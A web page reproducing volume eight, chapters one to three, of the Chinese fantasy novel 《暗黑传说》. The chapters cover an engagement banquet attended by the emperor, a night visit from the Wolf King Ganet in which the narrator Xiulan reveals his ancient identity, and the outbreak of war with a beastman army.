热搜排行
《暗黑传说》 8
《暗黑传说》


类别:奇幻魔法

作者:水舞红枫



第八卷我意无敌
第一章隆重婚宴
夜色中飘蕩着芬芳醉人的酒香,和缓快乐的乐曲迴旋在大厅的每个角落。
伯爵府中张灯结彩,人流如潮。
随便往哪个角落中一站,不远处必然有三五成群的贵族和他们的夫人儿女高声喧哗着,将夜点燃。
彷彿早有默契,出席宴会的贵族女子争相斗艳,穿着着最华贵入时的礼服,佩带着昂贵璀璨的饰品,象彩蝶一样在人群中穿梭。
最活跃的莫过于那些贵族少女,努力展露着自己的青春魅力,时不时向年轻英俊的男子瞥上惊心动魄的一眼。
人们尽情的享乐,享受着醇酒与音乐。
夫人们的话题永远都离不开衣服和化妆品,或者躲在角落里偷笑某个贵族男子的木讷和邋遢。
男人们的话题就要宽泛的多,彷彿每个人都成为高瞻远瞩的政治家,举着装满美酒的精緻杯子,眉飞色舞的谈论着感兴趣的话题。
帝国的危机离这里很远,却又很近。
我不知道这些人中,究竟能有几个可以在酒精中保持着清醒?
伦格死了,加奈特率着空翔等人迅速退走,但这并不意味着北方联盟遭受到致命的打击。
相反,在蒙思顿的东部国境上,十万兽人族军队枕戈待旦随时可能发动袭击,战争一触即发。
这个消息早不是什么秘密,但有几个人能够真正为此担忧?
在他们看来这一切不过是帝国历史上一段极其普通的插曲,他们的生活,他们的权势地位,与之毫无影响。
正是这样,才会有好心情在宴会上高谈阔论,关注着新长成的美女,关注着杯子是否空了?
温里特伯爵只是说要为女儿和费罗举办一次小规模的订婚宴会,结果帝都名流一下就涌进三百多人,这还不算没有收到请柬想尽办法挤进来的人。
我不知道如果他打算举办一次“大规模”的宴会,该是怎样的场面?
我和镜月公主坐在大厅的角落中,如果不是答应温里特伯爵要做费罗的证婚人,这刻我早就抽身,甚至根本就不会出席这种无聊的宴会。
镜月公主刚刚接受了一轮贵妇们的轰炸,以她的身份在这种场合无疑令人瞩目。
几乎所有贵族男子的目光都会偷偷向她扫来,假如不是早知道她名花有主,也许她要接受更大规模的骚扰。
有了欧利南的前车之鉴,这些人老实多了,毕竟任何人的脖子上都只生着一个脑袋。
相形之下我轻鬆许多,除了仅有的几个帝都熟人,几乎没谁打扰我。
我杀死伦格,获得闇月的事情早被传的满城风雨,但在这种场所,似乎所有人都很忌讳这个话题,连提都不提半字。
在绝对多数的贵族心目中,我始终是一个不受欢迎的人。
姑且不说欧特皇子和圣殿与我之间的嫌隙,仅是我的魔门背景就足以令许多人止步。
而他们一旦知道我真实的来历,不晓得又是怎样的光景?
这些自命清高,一生信奉光明之神的贵族们又怎愿意自贬身份同我这样一个不受欢迎的人交往?
镜月公主应酬完又一名贵妇,回到我身旁的位子坐下苦笑道:“镜月实在不该来这里,早知还是留在叠翠苑好了。”
我嘿然道:“这只怪你平日太低调,这回好不容易在公众场合露一次面,那些人还不抓紧机会来巴结你?”
镜月公主微笑道:“你错了,其实这里面至少有一半的人是为了接近你而来,镜月不过是沾了光而已。”
  “哦?”
  “修岚,你现在的身份可不同于第一次来帝都的时候,谁都知道温里特伯爵跟楚库将军的联姻意味着什么,也早得知了陛下已亲口将人家许配给你的消息,再加上你和金沙公爵的亲密关係,即使在蒙思顿你也早成为了万众瞩目的实力人物。”
  “哼,就算这样他们也是躲我也来不及,又怎会来巴结我?”
镜月公主幽幽一叹道:“修岚,你现在与帝国的皇室、宫廷和军政重臣都结成了异常密切的关係,再加上因为镜月而与圣殿产生的微妙联繫,这些别人怎么可能看不到呢?他们不过是有所顾忌才不敢亲自出面来找你,所以才通过自己的夫人儿女找上人家。”
我不以为然的道:“这正说明那些人蛇鼠两端不可信任,一旦形势发生变化,他们只怕跑的比兔子还快。”
镜月公主喟然轻叹道:“有几人不是这样呢?即使是放眼帝国,一旦战事四起,又有几人是可信任倚赖的?”
正说着德博满头大汗的跑了过来,一屁股坐在我身旁,拿起桌上的一杯红酒连灌几口,舒了口气兴奋道:“今晚真是热闹,温里特伯爵的面子果然够大,把帝都名流差不多全都请来了。嘿,修岚,你看见了吗,真有不少的美女!”
这家伙和镜月公主处的熟稔了,尽露本性,眼睛还在不停的搜索人群中的美女。
我漠然道:“你也真够忙的。”
德博摇头道:“我比费罗那小子可轻鬆多了,你没看他连坐下的工夫都没有了,只顾跟着他的老丈人迎接宾客。”
  “巴石和他的老爸呢?”我问道,在温里特伯爵邀请的名单中,我唯一的修改就是加上了这对父子。
  “他们正忙着应酬舍费男爵,那家伙掌握着帝国的矿藏审批权,是巴石家族的半个衣食父母,不乘机笼络怎么行?”德博回答道。
  “修岚陛下,公主殿下!”一声熟悉的呼喊从不远处传来,奥里公爵含着友善的笑容大步走来。
  “奥里公爵,”德博惊讶道:“你是什么时候到的帝都?”
  “今天中午刚到,”奥里公爵微笑道:“一听说老朋友的千金要跟修岚陛下麾下的虎将联姻,我就厚着脸皮混了进来,还好温里特伯爵没赶我出去,不然我就亏大了。”
  “怎么,是心疼你的贺礼?”
  “不是,”奥里公爵摇头道:“我是知道今晚有好吃的,所以中饭也没有用,要是晚饭再吃不上,不要饿掉我半条老命。”
众人听他说的有趣,不禁莞尔。
他当然不可能存心不吃午饭,多半刚到帝都就被嘉修召见,一直忙到了现在。
镜月公主请奥里公爵坐下,问道:“公爵已见过陛下了么?”
  “可不?”奥里公爵回答道:“而且后天就要返回,準备调动兵马开进东疆。”
德博惊喜道:“奥里公爵,你的大军也要进入东疆驻防?”
奥里公爵苦笑道:“十万兽人族的军队,你当是那么好玩的?虽然说陛下已经向东面增兵十万,又派驻了两个军团到北部边境协助普林斯公爵应变。但谁晓得能不能抵挡住北方联盟的第一波攻势?”
德博不服道:“我老爸的军队不致于那么没用吧?”
奥里公爵叹了口气道:“你还年轻,不晓得许多事情。论单兵作战的能力,三名普通帝国士兵也斗不过一个兽人族的战士。何况他们这次出动了翼人部落和狼骑兵,兵种优势就更明显了。”
  “这仗真会打起来么?”一边有人担忧的问道,原来是巴石跟他的老爸扎进了我们的小圈子。
  “那是肯定的了,”镜月公主淡然回答道:“而且也许等不到秋天就会发动。兽人族的十万大军在边境屯扎数月,每天的消耗都十分惊人,恐怕他们也不想再拖下去。”
  “我们不会输吧?”听了奥里公爵刚才的话,德博担心的问道。
  “怎么可能?”奥里公爵自信的一拍德博肩膀道:“有我跟你父亲联手,再加上陛下增派的十万援兵,怎么也要把兽人族赶回老家。”
德博鬆了口气道:“这我就放心了。”
奥里公爵望向我问道:“修岚陛下,听说您明天就要返回比亚雷尔去,看来我们是没时间再聚一聚了。不过早些走也好,免得战事一开想走也走不成。”
似乎在帝都没有什么秘密可言,每个人都能够轻而易举的得到各种消息。我点头道:“不错,所以明天一早我就离开帝都。”
  “你也要小心些,”奥里公爵提醒道:“万一兽人族在东疆打不开局面,说不定就会把注意力掉向比亚雷尔方面,期望从那里打开缺口。”
我漠然道:“我只怕,他们一样是进的来,回不去。”
德博赞同道:“修岚这家伙我倒一点也不担心,别看比亚雷尔是个小国,可谁要小看了它一準要吃亏。看看修岚收复比亚雷尔时候的用兵就该知道,再来十个狼王也不是他的对手。”
  “咦,欧特殿下怎么也来了?”巴石忽然诧异道。
顺着他的目光,就见欧特皇子正朝着我们这边走来,身后跟着的那人正是他的谋臣舒葛特。
  “知道嘉修陛下也出席,他怎么可能不来?”我冷哼道:“看吧,稍后马斯廷皇子也一定会到。”
  “修岚陛下,原来你们都躲在这里,”欧特皇子一改以前的姿态,满面春风的说道:“害的我在大厅里一阵好找。”
  “殿下!”默多克赶紧起身让座。
欧特毫不客气的坐下,望着默多克道:“你没事了吧?”
默多克一欠腰回答道:“多亏殿下周旋,现在一切都已解决。”
欧特得意道:“只要我一句话,就是马斯廷也要给我放人。今后你有什么问题,儘管来找我。”
他往这里一坐,已将自己当成了主角,原本宽鬆愉悦的氛围顿时蕩然无存,连奥里公爵都有些看不惯这位皇子的嚣张。
默多克连连道:“是,多谢殿下!”
  “听说修岚陛下明天就要走?”舒葛特站在欧特身后问道,就是这个人定下的诡计刺杀金沙公爵,幸而被我撞破,不然这笔帐多半又算到另外两个皇子身上。就冲这点,他也算个人才。
  “是,”德博见我没开口,于是替我回答道:“明天一早我们就离开帝都,今天早上都跟陛下辞行过了。”
欧特露出虚伪的惋惜之色,道:“我还想为你们接风洗尘呢,没想到连送别宴都来不及摆了。”
德博笑道:“帝都这么好玩,我也想多待些日子。可惜,兽人族不晓得什么时候就要打进来,还是赶快回去的好。”
  “就凭他们?”欧特皇子轻蔑的讥笑道:“一群茹毛饮血的蛮人,也妄想侵犯帝国天威?只要他敢来,我必定要向父皇请命率军出征,将兽人族的十万大军杀的片甲不留!”
其他人面对欧特皇子的张狂都是微笑不语,只有默多克奉承道:“那是自然,殿下心忧国事,堪称我们臣民的楷模。”
欧特皇子得意道:“楷模还谈不上,不过要是帝国人人都有像我这样的心思,还怕什么兽人族?”
奥里公爵在旁一言不发,恐怕他内心正庆幸嘉修陛下圣明无比,没让欧特统兵御敌,否则这仗不用打已输了一多半。
欧特皇子转脸望向我,用他自以为最真诚的语气道:“修岚,听说你杀死了魔族大祭司伦格,也算为帝国立了一功。以前我们之间不管存在什么样的小误会,过了今晚都一笔勾销。若是你在比亚雷尔遇到什么麻烦,儘管来找我!”
他俨然是把自己当成了蒙思顿皇位的当然继承者了,我心底生出一抹冷笑,忽然手上一热,原来是被镜月公主的玉手握住,清澈的秋波中隐含千言,又似在劝我不要给欧特皇子难堪。
我淡淡回答道:“殿下的话我都记下了,过去的事情我本就不放在心上。”
舒葛特哈哈一笑道:“既然如此,我们大家一起来乾一杯,算是为修岚陛下和德博将军送行!”说着举起了手中酒杯。
我冷冷看他一眼动也不动,德博也是假作与奥里公爵谈话没有听见——这家伙自从晓得刺杀金沙公爵的毒计便是出自此人之手,心里恨不得扒他一层皮下来,怎肯跟他碰杯?
正有些尴尬时,门口听见一名宫廷内侍亮起嗓子叫道:“嘉修陛下偕安吉霖娜皇妃、马斯廷皇子到——”
大厅里所有人的谈话声一起停止,立刻变的鸦雀无声。
在乐队的“神佑吾皇”的乐曲声中,安吉霖娜皇妃手扶嘉修陛下踏进大厅,身后跟随着满面笑容的马斯廷皇子和格列隆将军。
我再次见到了这位神秘的安吉霖娜皇妃。
比起上一次帝都城门前的邂逅,她的丰韵丝毫没有褪色,当她出现在人们视线中的一剎那,整个大厅的灯火似乎都为之黯然。
她温柔而雍容的搀扶着嘉修陛下,缓步走近,温里特伯爵与费罗和玛莎早就迎上前去。
温里特伯爵眼中闪过一丝惊喜与自豪的神色——嘉修陛下重病缠身的情况下还出席自己女儿的订婚仪式,无疑是给足了他的面子。
唯一的失意者是欧特,他坐在我对面低低的冷哼一声,望着马斯廷皇子露出嫉妒与怨毒的目光。
这也难怪,作为长子的他本最有资格陪同着父皇出席,可现在嘉修陛下身后站的却是马斯廷皇子。
有些心思活络的贵族不免开始怀疑,是否这是一个潜在的预示?
  “吾皇万岁!”大厅里所有的人起身行礼,高声称颂。
我坐在那里没有动,悠然品了口酒,欣赏着数百人朝贺的盛大场面,却无异又招来许多人的不满和反感。
那名内侍又高声叫道:“传陛下口喻:今天晚上是玛莎小姐与费罗将军的订婚盛宴,陛下与皇妃也都是宾客中的一员。因此大家不必拘礼,尽情欢庆——”
  “谢陛下!”在众人的恭颂声里,温里特伯爵陪同着嘉修陛下朝我们这边走来。
欧特反应最快,第一个冲过去躬身道:“父皇,您的龙体要紧,这样的场合有儿臣和马斯廷代您就好,何必亲自前来?”
温里特伯爵微微变色,嘉修不动声色道:“我自己的身体自己最是清楚。”
欧特看到温里特伯爵的面色才知道自己说错了话,赶紧扶住嘉修陛下的另一边掩饰道:“儿臣没有别的意思,只是担心您的身体。”
嘉修陛下哼了声,望向我与奥里公爵等人露出微笑道:“很好,你们都在这。”
众人起身再次施礼,嘉修陛下摆摆手道:“都说了今晚不用拘礼,都坐下吧。”
等安吉霖娜皇妃扶着嘉修陛下落座,众人才敢坐下。嘉修陛下望着奥里公爵道:“你和温里特伯爵都是老朋友了,我就猜这个热闹一定少不了你。”
奥里公爵笑道:“陛下圣明,老朋友嫁女,我就爬也要爬来骗上顿酒喝。可惜比亚雷尔远了点,不然大婚之日我一準还去。”
嘉修陛下微微一笑对德博道:“你明天也跟修岚一起回返了,是么?”
  “是,陛下!”在嘉修陛下面前,德博收敛许多,恭敬的回答道。
  “替我转告金沙公爵,就说这段日子辛苦他了。等东疆危机解除,我要请他到帝都好好相聚。”
  “谢陛下!”
嘉修陛下的目光又朝向默多克道:“我认识你,记得六年前我们曾见过一面,你是帝国最大的军械製造商默多克先生,对不对?”
默多克受宠若惊,急忙欠身道:“是我,陛下!”
  “听说斯蒂有将你抓进大牢,幸好你已获释,不然还有哪个商人敢在蒙思顿逗留?”嘉修陛下温言安慰他道:“你不用怕,只要本分经商,忠心帝国,我就是你最大靠山。今天早会上我已斥责了斯蒂,相信他不敢再为难你。”
默多克感动的无以复加,激动道:“陛下——”
嘉修陛下轻轻摆手,转脸瞧着我与镜月公主含笑道:“修岚,这些人里我最后跟你说话,你晓得是为什么?”
我颔首道:“我明白。”
嘉修道:“看,我说的没错,跟你这样的聪明人说话实在是最省心快乐的事情。”
德博不解的望向身旁的奥里公爵,公爵低声道:“陛下是先宾后主,那是将修岚陛下当作了自家人对待,所以才最后一个与他交谈。”
嘉修陛下举起酒杯道:“修岚,告别的话今天早上我都已说过,现在只想和你再喝上一杯。今晚一别,不知道我们是否还有机会相见,镜月也是一样,大家一起来吧。”
众人纷纷举杯,与嘉修陛下一饮而尽。
嘉修放下酒杯,向我微笑道:“这次帝都之行你来去匆匆,相信下次再来一切都会不一样了。”
我一怔,正咀嚼着他话里含义,就听见司仪叫道:“良辰吉时到,仪式开始——”
第二章我非真主
订婚宴席结束已经是深夜,嘉修陛下只坐了一下便走,很快马斯廷皇子与欧特皇子也先后离去。
我们这拨人走的较晚,费罗被留了下来——他被宾客灌的人世不醒,想走也走不了。
回去的路上德博还在兴奋的跟我炫耀今晚猎豔的战绩,最后不免遗憾的道:“可惜明天一早就要回去了,不然我一定能让那几个妞乖乖在我面前俯首称臣。 ”
我嘿然讥笑道:“算了吧,德博。我一直听你吹嘘如何如何,可什么时候真见过你搞定哪家的名门闺秀?”
德博红着脸粗着脖子叫道:“当然有,只是你没看到过而已。难道说我跟她们上床的时候还要先通知你一声,好让你见证了才信?”
镜月公主叹息道:“德博,你都当镜月不在旁边么?”
德博已有七分醉意,打了个饱嗝道:“你这样的美女我怎么可能看不见?不过公主殿下如今都是修岚的老婆了,我跟修岚早是一家,说什么话也就不用顾忌你了。”
镜月公主对上德博的无赖作风也毫无办法,惟有莞尔一笑。
德博忽然想起什么,瞅着我们道:“修岚,公主殿下,刚才宴会上陛下好像说过你们跟他都是一家人,我跟你们又算一家,这么排下来,岂不是说我跟陛下也不是外人了?”
我晓得这小子在说胡话,没好气的道:“没错,连着欧特跟马斯廷皇子也都跟你是一家。”
德博吓了一跳,酒醒了些摇头道:“别,那两位皇子殿下我可惹不起,还是回红石城躲的远远的好。”
幸好车队回到了叠翠苑,自有人将德博扶回卧室休息,这才让我的耳边少了一点噪音。
镜月公主站在门外,却没有立刻进屋。她的脸庞轻轻抬起,仰望着今夜的星空悠然叹息一声道:“蒙思顿的月夜,我不知道还能看见几回?”
柔和的星光悄然洒落在她绝美的侧面,黑夜里那双明亮深邃的星眸隐含着几许离愁,几许不捨。
我驻足在她的身畔,淡淡回答道:“无论在哪里,月亮与黑夜总是一样。如果你怀念蒙思顿,随时都可以回来,我不会拦阻你。”
镜月公主一声低吟,徐徐倒入我的怀中,火热丰满的娇躯和着夜风的凉,在我记忆中留下一抹深深印痕。
  “你说的对,修岚。”她平静而深情的说道:“无论在哪里,天上的明月总上一样。只要有你在的地方,便是镜月的归宿。就像月亮总会追随着太阳,到亘古也不会改变。”
我的心头一热,紧拥着她低声道:“放心吧,迟早有一天我们还会回来。”
镜月公主微微在我怀里一颤,仰起无双的玉容,幽幽道:“镜月怕的就是会有那样一天。我知道我的男人心怀四海,这也是镜月最欣赏仰慕的地方。小时侯的镜月总将陛下当作英雄,便是因为倾慕他胸才伟略的胸襟。所以,一旦见了你,人家才会不由自主的心动。可是,修岚,一旦真的有那么一天来临,镜月又不知道自己该如何面对?”
我知道在她的慧心中早猜知到我的心意,所以才会这么说。我轻抚着她的肩头,沉声道:“这个问题我们以后都不必讨论,蒙思顿的未来如何并不完全掌握在我的手中,而我也决不会在嘉修陛下有生之年对蒙思顿不利。”
这并非我感情用事,而是明白只要有这个睿智的老人在,我休想跨越帝国的山川。如果我们拥有旗鼓相当的实力,我有十足的信心去击败他。但如今我手上的军力国力尚不及帝国的十分之一,当然不会愚蠢到以卵击石。
镜月公主踮起纤足,在我的唇边轻轻一吻,那蜻蜓点水的爱意竟让我一阵迷醉。
  “修岚,是镜月太多愁善感了些,或许毕竟对帝国有很多不捨,所以才心潮低落。”镜月公主拥着我的虎腰,款款情深的低语道:“等回到比亚雷尔,镜月一定会作你最乖巧听话的小妻子,和翡雅、希菡雅她们一起为你营造一个温暖的家。”
家?
我微微一怔,什么是家?
无论是找回记忆前的我,还是现在的我,似乎对这个词都感觉遥远与陌生,甚至有些厌恶排斥。
可不知道为什么,从她的口中说出,我竟生出一缕温馨的感觉。
我不禁想到远在比亚雷尔的希菡雅她们,还有我未出世的女儿,这就是家吧?
当我在千年之前最终失去幸福,绝望而战的时候,可曾想到千年后的今天上天仍会还我一个圆满?
我本是从黑暗中走出,充满对世间的仇恨与杀机,征服成了我唯一的存在目的。
当我找回自己的过往,当我拥着镜月公主她们的时候,我却发现,这个世界上除了仇恨,除了报复,除了征服,除了死亡,也许还有另一些东西值得我去争取,去珍惜。
或许,千年沈睡中的她也会这样期望。
想通这点我心情一阵舒畅,搂着伊人纤腰低声微笑道:“公主殿下,夜已很深,我们是否该早点休息了?”
镜月公主怎能听不出我话中的不轨意图,玉颊绯红,却用默认来表示同意。
我哈哈一笑,拥着她迈步走进大厅。
几乎同时,我与她收住脚步,彼此互相望了一眼,感觉到书房里有其他人的存在。
那是我的禁地,没有我的准许即使是费罗库塞他们也不能随便出入。而来人分明是一个高手,直到现在才有意让我们察觉。
在我突破人类极限,获得闇月力量与前生记忆后,能够令我在百米外而无法察觉的人物,绝对拥有近乎大魔师的水準!
会是谁,在等我?
  “修岚,看来是有贵客到了。”镜月公主向我浅浅含笑道,那一抹没有退去的酒红在朦胧烛光的映射中分外娇豔。
我忍下心头冲动,冷笑道:“我倒要看看是谁这么没有礼貌?”
我揽着镜月公主走向书房,灵觉中的影像越来越清晰,当我推开书房的门时,一个老熟人正悠然自得的坐在客座上惬意的喝着不晓得从哪里弄到手的一瓶烈酒。
狼王加奈特。
我冷冷道:“阁下总是这么不告而入,不告而取么?”
加奈特微笑道:“你若是到我们草原去做客,便会明白我们夜狼族的大门永远向着客人敞开,只要有好东西就一定会与朋友分享。”
  “我们不是朋友。”我漠然回应道。
  “但我们也不是敌人,”加奈特的嘴角含着一丝笑意道:“至少,今天晚上我不是找你决斗的。”
我在书桌后坐下,望着他。
这个夜狼部落之主从第一次出现起,就显得难以琢磨。
表面看来,他该是北方联盟中的重要人物,与伦格等人怀中同样的目的潜入帝都,现在伦格已经死了,他们未及实行的计划恐怕破产大半。
但加奈特给我的感觉远比伦格更加莫测,空翔之流虽然同样是兽人族的部落首领但在狼王面前就如同小儿科那般肤浅苍白。
他给我一种可怕的感觉,在战场上亦绝对是个强劲的对手。
或许伦格生前也有资格让世人这么评价,可惜死人无论活着的时候如何风光都无济于事了。
何况,他能死在我的手上,本身就说明实力有限的很。
惟独对面前的这个男子,我始终琢磨不透他的真实意图。
  “说吧,你来找我做什么?”
  “当然是来辞行,”加奈特回答道:“伦格死了,我们的计划不得不暂时搁浅,明天一早便会撤离帝都——恰好是跟陛下同一天。”
我哼了声道:“阁下在这里等我半天,只为说上这么一句废话么?”
加奈特丝毫没有动怒,反而微笑道:“其实,刚才那句话里我已经说了许多事情。”
  “第一,阁下告诉我你们这次帝都之行果然是怀有目的,而主谋该是伦格;第二,现在你们暂时放弃了计划,但并不意味今后不会重新实施;第三—— ”我的目光如锋射向加奈特,冷冷道:“兽人族的大军是否即将出动?”
加奈特的眼中掠过一丝讚赏,颔首道:“你都说对了,就在十五天内我们的大军将入侵蒙思顿,不过暂时还没有进攻比亚雷尔的想法,所以陛下尽可放心。”
镜月公主油然道:“镜月是否该考虑将阁下留下?”
狼王哑然失笑道:“公主殿下真会说笑,我既然敢来自然就有把握能走。况且,即使你留下了我也对局势没有丝毫的影响。这次兽人族的联军最高统帅早就定好是大熊部落的酋长'霸王'恩里克,本人也不过是他帐下的一个马前走卒罢了。”
镜月公主平静的道:“可在镜月看来,狼王却比兽人族中所有人都有威胁的多。”
  “承蒙公主金口一赞,本人不胜荣幸。”加奈特说道:“可惜,自知之明我还是有的,兽人族的事情还轮不到本人做主,否则更不会选择在这个时机来入侵蒙思顿。”
  “原来狼王是反对出兵的?”镜月公主讶异的问道。
  “那是当然,”加奈特冷笑道:“兽人族与蒙思顿之间隔着大片高山丛林,那都是闪族和魔族的领地。即使能拿下蒙思顿几个郡又能怎样?难道让我们的臣民放弃赖以为生的草原森林,到蒙思顿来居住么?何况,蒙思顿的实力又怎么可能是十万兽人族大军能够征服的,最后便宜的不过是特鲁的魔族而已。”
  “原来阁下对这些厉害关係早了然于胸。”我说道。
  “了然又能如何?”狼王苦笑道:“特鲁是北方联盟的共主,伦格是北方的精神领袖,而恩里克与空翔惟这两人之命是从。我如果反对,第一个遭殃的就是夜狼部落。”
  “阁下告诉我这些是什么意思?”我问道。
加奈特目光中燃烧起一簇细微的火焰,凝视着我,压低的声音徐徐道:“因为我想知道,陛下是否真的是艾欧的传承者?你可知道着对于整个北方将有何其巨大的影响?”
  “我很想说是,”我淡然回答道:“可惜我不是,我不屑冒充任何人,艾欧就是艾欧,他已经死了——至少对于这个世界来说是这样。”
  “怎么会这样?”加奈特皱眉道:“多洛莉丝大人不可能欺骗我们,伦格的反应也映证了这点。”
  “他们都不明白事实的真相,”我回答道:“艾欧当日的确打算利用天魔转生来摆脱魔王尤里西思的束缚,获得独立的人格与新生。可惜他的觉悟晚了一步,尤里西思的複活在仪式开始前就已经全部完成。于是艾欧选择了最极端的方式,发动灭寂之暗与尤里西思玉石俱焚,而他的记忆与意识根本来不及注入到那个叫修岚的婴儿体内。”
  “这些,你怎么知道?”加奈特惊讶的望着我,半信半疑的问道。幸而他非常人,换了普通的人物,可能我所说的半句话都不敢相信。
  “因为我曾经在暗黑之戒中封印了整整一千年,因着尤里西思的诅咒而无法甦醒。当灭寂之暗的能量冲击到暗黑之戒时,终于令它的封印鬆动使我得以摆脱了诅咒。”我略微低沉的声音徐徐说道:“当时的我刚刚回到这个世界,力量薄弱的不能承受任何的惊扰。千钧一发中为了保全自己,我与沈睡在祭坛上的那个婴儿达成了血契,进入他的身体託生但这样也耗费了我所有的能量,使得我不得不进入又一个沉睡期。”
  “那个婴儿就是比亚雷尔的王子修岚了,”同样分享到我记忆的镜月幽幽道:“但真正的他在一年前的考兰叛乱中已经被杀害,此刻我们面前的修岚才籍着他的躯体甦醒过来,然而他的记忆却被艾欧的禁制再次封锁,以致于这么长的时间始终不知道自己是谁?”
  “所以当修岚陛下获得魔剑闇月的时候,也打开了所有的封印和禁制,终于找回了自我?”
  “是,”我回答道:“当时的感觉真是难以言表,等若一次重生,一次大梦醒后的恍然。”
  “可是,你究竟是谁?”加奈特低哑的嗓音问道。
我微微一笑,抬眼望向窗外那些永恆于时空中的星辰,用梦幻一般的声音回答道:“我就是我,来自另一个世界,来自黑夜与地狱。”
加奈特久久无语,最终长长的出了口气,苦笑道:“虽然你最后那句话很玄,可我偏偏相信你说的是真的。只是,以后我究竟该如何称呼阁下?”
  “当然还是修岚,”我微笑道:“不过并非比亚雷尔的王子,而是来自千年之前的另一个修岚。”
加奈特浑身不由自主的剧震,难以置信的望着我道:“你!你难道是——”
我傲然起身,走向窗台,油然说道:“你说,我是否还需要假借艾欧传承者的身份而活?在这个世界上我唯一愿意世人误解的身份就是比亚雷尔王子,因为如果没有当年他的血契,我将继续沉沦在黑夜里漂泊,直到下个千年。”
加奈特点点头,站起身道:“我都明白了,看来今晚的收穫远比我想到要多。修岚陛下,恭喜你找回了自我。不过,我有一种预感,或许我们很快就能在战场上见面,到时候儘管知道阁下是我平生最可怕的敌人,本人也必须全力争胜。”
我嘿然笑道:“你是我至今唯一愿意尊重的对手,亦同样渴望有一天能在战场对决。如果我们不能成为盟友,那么敌人将是彼此最好的选择。”
  “是这样,”加奈特洒脱一笑道:“我该走了,后会有期!”说完身影一晃,已消失在苍茫的夜色中。
  “你为什么没有出手阻拦?”我依旧站在窗前,问道。
  “因为镜月忽然有一种感觉,加奈特并不会真正成为我们最可怕的对手,或许有一天他给是我们在北方联盟中最好的盟友。”
我哑然失笑道:“这样的预测跟加奈特可是正好相反,我该信哪一个?”
  “相信镜月吧,”镜月公主嫣然微笑道:“女人的预感总比男人的灵验,这点即使是千年前的魔帅也不能不承认。”
我“嘿”了声,摇摇头没有说话。
镜月公主走向门口道:“镜月先上楼了,今晚似乎要拜访你的人真不少。”
身后是门轻轻掩上的响声,我的目光落在窗外的一个黑影上。
多洛莉丝宛如幽灵一般伫立在那里,只冷冷望着我,目光中复杂无比,不知道是恨是怨,是失望绝望还是畏惧仰慕?
  “你,真的不是艾欧大人的传承者?”她屹立许久,终于艰难的问出最想问的问题。
  “你都听见了,我想不需要再解释第二遍了。”我淡淡的回答道。
  “这不可能,我不相信!”多洛莉丝的眼中爆射出灼热的光焰,执着而绝望的叫道:“你是在欺骗我!”
  “我没有这个必要,”我冷冷道:“我奉劝你接受这样一个现实,艾欧或许还会以另一种方式回来,就如同今天的我;或许永远都无法复活,但至少我不是他的什么替代品!”
多洛莉丝的身躯在风中颤抖着,多少年来艾欧的转生是唯一支撑着她生存奋斗的信念。一旦这样的海市蜃楼陡然崩塌,她的世界也随之毁灭,沉沦进冰冷的绝望中。
  “我要杀了你,修岚!”她的脸上渐渐浮现起一股疯狂和杀机,冷酷的眼神盯着我徐徐说道:“是你,欺骗了我二十年;是你断送了主人最后转生的希望。”
我不为所动,伫立在窗台前,淡淡道:“你如果想杀我儘管来,不过怕你没有这样的能力。而且——你下的了手么?”
多洛莉丝一震,漫天的杀气顿时转缓,她怔怔立在原地,沉默片刻后咯咯笑道:“我为什么杀不了你,我为什么下不了手?修岚,你也太高估你自己了,在我眼中你连主人的一根手指都值不上。”
我怜悯的看着眼前这个绝望失常的女子,沉声道:“多洛莉丝,我比你多活了一千年,即使不算当中沉睡的岁月,对于人性的了解我也比你深刻太多。这二十年来,你始终将我假想成你的主人,不知不觉中把所有的希望与关注都託付在我的身上。面对这样的我,你敢说自己能够下手?”
多洛莉丝沉默着,望着我的眼神阴晴不定,忽然爆发出一阵冷笑道:“算了吧,修岚,你不过是个冷酷无情的恶魔,有什么资格跟我谈论人性与情感?你知道深爱一个人的滋味么,你了解失去爱人的痛苦么?你不明白,你都不懂得,因为在你心目里永远只有魔意和仇恨!”
  “你错了,”我悠然微笑:“也许在前几天你还是对的,但当我找回过去的记忆,了解到千年前我也曾为心爱的女人而战,为了她不惜撼动尤里西思,不惜沉沦无数岁月的时候,我已领悟到生命的终极。我还是我,但血液里已多了一些东西,我希望你也一样。”
多洛莉丝呆呆的站着,脸上浮现起一丝迷茫,嘴角的冷笑在不经意中消退。
今晚,实在不是一个杀人的天气。
第三章干戈飞扬
在我们离开帝都的第九天,战争爆发了。
十万兽人族大军从蒙思顿东北边境如稻田里的蝗虫一般,铺天盖地的涌来。
在金沙公爵八万人马驻扎的图鹿堡两军不期而遇,展开一场大规模的激战。
得到这个消息的时候,我们还在赶赴红石城的路上。
越向东走,战争的气息就越浓厚。
硝烟的味道已经清晰可闻。
我们这些人里最着急的无疑是德博,玩笑少了,废话少了,只恨不得能够早一日赶到图鹿堡。
由于留下了两百名银甲卫士和安姬思在帝都安排家属接送事宜,跟随我先一步返回比亚雷尔的只有三百余人,而且清一色依然是骑兵,所以在得到战争爆发消息后昼夜兼程之下,到了第十四天就抵达了翟碧司郡西部的边陲小镇康迈。
这里的空气空前紧张,所有人谈论的话题都在围绕着战争。不过这些镇民谁也没有过多的担忧,似乎都相信兽人族无论如何也打不进来,更勿遑论能够杀到康迈镇了。
吃饭的时候,不时能够听到人们的议论,更有些闲人眉飞色舞的讲述着所谓的亲眼见闻,或将兽人族形容成红毛绿眼的妖怪,或将金沙公爵捧成能搬山移海的战神,愚昧之言不一而足。
但真正关于战事进展的情况,却丝毫没有。
毕竟,这里距离图鹿堡还有四五天的路程,消息没那么快传过来。
用过午饭,我们也没去搭理那些镇中沸沸扬扬关于前线战事的传闻,继续行程。出了康迈东行十里,前方的大路上出现了左右两条岔道。
一条通向红石城,是我们来时的路;
另一条向着东北方漫漫延伸,直达图鹿堡。
德博立马在岔道口上,遥望北方。
那里烟尘四起,不知是有谁驰快马而来。
  “修岚,我们就在这里分手吧。”德博说着向我伸出右手道:“翡雅还在红石城等你,接上她赶快返回比亚雷尔。”
我点点头,握住他的手。
德博的右手紧了紧,凝视着我徐徐道:“答应我,修岚。无论我和老爸发生了任何事,你都要照顾好翡雅。”
我淡淡道:“她是我的女人,这点根本不用你来提醒。”
德博勉强展颜一笑道:“不晓得为什么,以前我总希望着战争到来,好率领千军万马冲锋陷阵。可真的这一天近在眼前,我竟有些害怕了。修岚,在你眼里我是不是一个十足的花花公子,特别没用?”
我一皱眉道:“你要走就走,哪里来这么多废话?”
德博哈哈一笑,鬆开我的手道:“你说的不错,修岚。又不是生离死别,你等着吧,最多三五个月,我一定到比亚雷尔来找你,到时还要讨一杯你与公主殿下的喜酒喝。”
